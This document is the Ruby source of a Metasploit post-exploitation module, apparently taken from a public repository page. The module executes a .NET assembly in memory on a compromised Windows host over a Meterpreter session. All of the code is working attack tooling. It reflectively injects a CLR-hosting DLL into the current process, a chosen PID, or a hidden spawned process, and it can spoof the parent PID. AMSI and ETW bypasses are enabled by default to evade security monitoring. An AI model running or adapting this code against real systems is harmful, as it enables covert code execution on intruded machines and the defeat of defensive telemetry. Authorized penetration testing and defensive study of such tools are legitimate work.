Path: blob/master/modules/post/windows/manage/execute_dotnet_assembly.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post67include Msf::Post::File8include Msf::Exploit::Retry9include Msf::Post::Windows::Priv10include Msf::Post::Windows::Process11include Msf::Post::Windows::ReflectiveDLLInjection12include Msf::Post::Windows::Dotnet1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Execute .NET Assembly',19'Description' => %q{20This module executes a .NET assembly in memory. It21reflectively loads a dll that will host CLR, then it copies22the assembly to be executed into memory. Credits for AMSI23bypass to Rastamouse (@_RastaMouse)24},25'License' => MSF_LICENSE,26'Author' => 'b4rtik',27'Arch' => [ARCH_X64, ARCH_X86],28'Platform' => 'win',29'SessionTypes' => ['meterpreter'],30'Targets' => [['Windows x64', { 'Arch' => ARCH_X64 }], ['Windows x86', { 'Arch' => ARCH_X86 }]],31'References' => [['URL', 'https://b4rtik.github.io/posts/execute-assembly-via-meterpreter-session/']],32'DefaultTarget' => 0,33'Compat' => {34'Meterpreter' => {35'Commands' => %w[36stdapi_sys_process_attach37stdapi_sys_process_execute38stdapi_sys_process_get_processes39stdapi_sys_process_getpid40stdapi_sys_process_kill41stdapi_sys_process_memory_allocate42stdapi_sys_process_memory_write43stdapi_sys_process_thread_create44]45}46},47'Notes' => {48'Stability' => [CRASH_SAFE],49'SideEffects' => [IOC_IN_LOGS],50'Reliability' => []51}52)53)54spawn_condition = ['TECHNIQUE', '==', 'SPAWN_AND_INJECT']55inject_condition = ['TECHNIQUE', '==', 'INJECT']5657register_options(58[59OptEnum.new('TECHNIQUE', [true, 'Technique for executing assembly', 'SELF', ['SELF', 'INJECT', 'SPAWN_AND_INJECT']]),60OptPath.new('DOTNET_EXE', [true, 'Assembly file name']),61OptString.new('ARGUMENTS', [false, 'Command line arguments']),62OptBool.new('AMSIBYPASS', [true, 'Enable AMSI bypass', true]),63OptBool.new('ETWBYPASS', [true, 'Enable ETW bypass', true]),64OptString.new('PROCESS', [false, 'Process to spawn', 'notepad.exe'], conditions: spawn_condition),65OptBool.new('USETHREADTOKEN', [false, 'Spawn process using the current thread impersonation', true], conditions: spawn_condition),66OptInt.new('PPID', [false, 'Process Identifier for PPID spoofing when creating a new process (no PPID spoofing if unset)', nil], conditions: spawn_condition),67OptInt.new('PID', [false, 'PID to inject into', nil], conditions: inject_condition),68]69)7071register_advanced_options(72[73OptBool.new('KILL', [true, 'Kill the launched process at the end of the task', true], conditions: spawn_condition)74]75)7677self.terminate_process = false78self.hprocess = nil79self.handles_to_close = []80end8182def find_required_clr(exe_path)83filecontent = File.read(exe_path).bytes84sign = 'v4.0.30319'.bytes85filecontent.each_with_index do |_item, index|86sign.each_with_index do |subitem, indexsub|87break if subitem.to_s(16) != filecontent[index + indexsub].to_s(16)8889if indexsub == 990vprint_status('CLR version required: v4.0.30319')91return 'v4.0.30319'92end93end94end95vprint_status('CLR version required: v2.0.50727')96'v2.0.50727'97end9899def check_requirements(clr_req, installed_dotnet_versions)100installed_dotnet_versions.each do |fi|101if clr_req == 'v4.0.30319'102if fi[0] == '4'103vprint_status('Requirements ok')104return true105end106elsif clr_req == 'v2.0.50727'107if fi[0] == '3' || fi[0] == '2'108vprint_status('Requirements ok')109return true110end111end112end113print_error('Required dotnet version not present')114false115end116117def run118fail_with(Failure::BadConfig, 'Only meterpreter sessions are supported by this module') unless session.type == 'meterpreter'119120exe_path = datastore['DOTNET_EXE']121122unless File.file?(exe_path)123fail_with(Failure::BadConfig, 'Assembly not found')124end125126installed_dotnet_versions = get_dotnet_versions127vprint_status("Dot Net Versions installed on target: #{installed_dotnet_versions}")128if installed_dotnet_versions == []129fail_with(Failure::BadConfig, 'Target has no .NET framework installed')130end131132rclr = find_required_clr(exe_path)133if check_requirements(rclr, installed_dotnet_versions) == false134fail_with(Failure::BadConfig, 'CLR required for assembly not installed')135end136137hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']138print_status("Running module against #{hostname} (#{session.session_host})")139140execute_assembly(exe_path, rclr)141end142143def cleanup144if terminate_process && !hprocess.nil? && !hprocess.pid.nil?145print_good("Killing process #{hprocess.pid}")146begin147client.sys.process.kill(hprocess.pid)148rescue Rex::Post::Meterpreter::RequestError => e149print_warning("Error while terminating process: #{e}")150print_warning('Process may already have terminated')151end152end153154handles_to_close.each(&:close)155end156157def sanitize_process_name(process_name)158if process_name.split(//).last(4).join.eql? '.exe'159out_process_name = process_name160else161"#{process_name}.exe"162end163out_process_name164end165166def pid_exists(pid)167host_processes = client.sys.process.get_processes168if host_processes.empty?169print_bad('No running processes found on the target host.')170return false171end172173theprocess = host_processes.find { |x| x['pid'] == pid }174175!theprocess.nil?176end177178def launch_process179if datastore['PROCESS'].nil?180fail_with(Failure::BadConfig, 'Spawn and inject selected, but no process was specified')181end182183ppid_selected = datastore['PPID'] != 0 && !datastore['PPID'].nil?184if ppid_selected && !pid_exists(datastore['PPID'])185fail_with(Failure::BadConfig, "Process #{datastore['PPID']} was not found")186elsif ppid_selected187print_status("Spoofing PPID #{datastore['PPID']}")188end189190process_name = sanitize_process_name(datastore['PROCESS'])191print_status("Launching #{process_name} to host CLR...")192193begin194process = client.sys.process.execute(process_name, nil, {195'Channelized' => false,196'Hidden' => true,197'UseThreadToken' => !(!datastore['USETHREADTOKEN']),198'ParentPid' => datastore['PPID']199})200hprocess = client.sys.process.open(process.pid, PROCESS_ALL_ACCESS)201rescue Rex::Post::Meterpreter::RequestError => e202fail_with(Failure::BadConfig, "Unable to launch process: #{e}")203end204205print_good("Process #{hprocess.pid} launched.")206hprocess207end208209def inject_hostclr_dll(process, arch)210print_status("Reflectively injecting the Host DLL into #{process.pid} (#{arch})...")211212dll = 'HostingCLRx64.dll' if arch == ARCH_X64213dll = 'HostingCLRWin32.dll' if arch == ARCH_X86214library_path = ::File.join(Msf::Config.data_directory, 'post', 'execute-dotnet-assembly', dll)215library_path = ::File.expand_path(library_path)216217print_status("Injecting Host into #{process.pid}...")218# Memory management note: this memory is freed by the C++ code itself upon completion219# of the assembly220inject_dll_into_process(process, library_path)221end222223def open_process(pid)224if (pid == 0) || pid.nil?225fail_with(Failure::BadConfig, 'Inject technique selected, but no PID set')226end227228if pid_exists(pid)229print_status("Opening handle to process #{pid}...")230begin231hprocess = client.sys.process.open(pid, PROCESS_ALL_ACCESS)232rescue Rex::Post::Meterpreter::RequestError => e233fail_with(Failure::BadConfig, "Unable to access process #{pid}: #{e}")234end235print_good('Handle opened')236hprocess237else238fail_with(Failure::BadConfig, 'PID not found')239end240end241242def get_process_arch(pid)243process = session.sys.process.each_process.find { |i| i['pid'] == pid }244if process.nil?245fail_with(Failure::BadConfig, 'PID not found')246end247248arch = process['arch']249fail_with(Failure::BadConfig, "Unknown architecture: #{arch}") unless arch == ARCH_X64 || arch == ARCH_X86250251arch252end253254def execute_assembly(exe_path, clr_version)255if datastore['TECHNIQUE'] == 'SPAWN_AND_INJECT'256self.hprocess = launch_process257self.terminate_process = datastore['KILL']258arch = get_process_arch(hprocess.pid)259else260if datastore['TECHNIQUE'] == 'INJECT'261inject_pid = datastore['PID']262elsif datastore['TECHNIQUE'] == 'SELF'263inject_pid = client.sys.process.getpid264end265arch = get_process_arch(inject_pid)266267self.hprocess = open_process(inject_pid)268end269270handles_to_close.append(hprocess)271272begin273exploit_mem, offset = inject_hostclr_dll(hprocess, arch)274275pipe_suffix = Rex::Text.rand_text_alphanumeric(8)276pipe_name = "\\\\.\\pipe\\#{pipe_suffix}"277appdomain_name = Rex::Text.rand_text_alpha(9)278vprint_status("Connecting with CLR via #{pipe_name}")279vprint_status("Running in new AppDomain: #{appdomain_name}")280assembly_mem = copy_assembly(pipe_name, appdomain_name, clr_version, exe_path, hprocess)281rescue Rex::Post::Meterpreter::RequestError => e282fail_with(Failure::PayloadFailed, "Error while allocating memory: #{e}")283end284285print_status('Executing...')286begin287thread = hprocess.thread.create(exploit_mem + offset, assembly_mem)288handles_to_close.append(thread)289290pipe = nil291retry_until_truthy(timeout: 15) do292pipe = client.fs.file.open(pipe_name)293true294rescue Rex::Post::Meterpreter::RequestError => e295if e.code != Msf::WindowsError::FILE_NOT_FOUND296# File not found is expected, since the pipe may not be set up yet.297# Any other error would be surprising.298vprint_error("Error while attaching to named pipe: #{e.inspect}")299end300false301end302303if pipe.nil?304fail_with(Failure::PayloadFailed, 'Unable to connect to output stream')305end306307basename = File.basename(datastore['DOTNET_EXE'])308dir = Msf::Config.log_directory + File::SEPARATOR + 'dotnet'309unless Dir.exist?(dir)310Dir.mkdir(dir)311end312logfile = dir + File::SEPARATOR + "log_#{basename}_#{Time.now.strftime('%Y%m%d%H%M%S')}"313read_output(pipe, logfile)314# rubocop:disable Lint/RescueException315rescue Rex::Post::Meterpreter::RequestError => e316fail_with(Failure::PayloadFailed, e.message)317rescue ::Exception => e318# rubocop:enable Lint/RescueException319unless terminate_process320# We don't provide a trigger to the assembly to self-terminate, so it will continue on its merry way.321# Because named pipes don't have an infinite buffer, if too much additional output is provided by the322# assembly, it will block until we read it. So it could hang at an unpredictable location.323# Also, since we can't confidently clean up the memory of the DLL that may still be running, there324# will also be a memory leak.325326reason = 'terminating due to exception'327if e.is_a?(::Interrupt)328reason = 'interrupted'329end330331print_warning('****')332print_warning("Execution #{reason}. Assembly may still be running. However, as we are no longer retrieving output, it may block at an unpredictable location.")333print_warning('****')334end335336raise337end338339print_good('Execution finished.')340end341342def copy_assembly(pipe_name, appdomain_name, clr_version, exe_path, process)343print_status("Host injected. Copy assembly into #{process.pid}...")344# Structure:345# - Packed metadata (string/data lengths, flags)346# - Pipe Name347# - Appdomain Name348# - CLR Version349# - Param data350# - Assembly data351assembly_size = File.size(exe_path)352353cln_params = ''354cln_params << datastore['ARGUMENTS'] unless datastore['ARGUMENTS'].nil?355cln_params << "\x00"356357pipe_name = pipe_name.encode(::Encoding::ASCII_8BIT)358appdomain_name = appdomain_name.encode(::Encoding::ASCII_8BIT)359clr_version = clr_version.encode(::Encoding::ASCII_8BIT)360params = [361pipe_name.bytesize,362appdomain_name.bytesize,363clr_version.bytesize,364cln_params.length,365assembly_size,366datastore['AMSIBYPASS'] ? 1 : 0,367datastore['ETWBYPASS'] ? 1 : 0,368].pack('IIIIICC')369370payload = params371payload += pipe_name372payload += appdomain_name373payload += clr_version374payload += cln_params375payload += File.read(exe_path)376377payload_size = payload.length378379# Memory management note: this memory is freed by the C++ code itself upon completion380# of the assembly381allocated_memory = process.memory.allocate(payload_size, PROT_READ | PROT_WRITE)382process.memory.write(allocated_memory, payload)383print_status('Assembly copied.')384allocated_memory385end386387def read_output(pipe, logfilename)388print_status('Start reading output')389390print_status("Writing output to #{logfilename}")391logfile = File.open(logfilename, 'wb')392393begin394loop do395output = pipe.read(1024)396if !output.nil? && !output.empty?397print(output)398logfile.write(output)399end400break if output.nil? || output.empty?401end402rescue ::StandardError => e403print_error("Exception: #{e.inspect}")404end405406logfile.close407print_status('End output.')408end409410attr_accessor :terminate_process, :hprocess, :handles_to_close411end412413414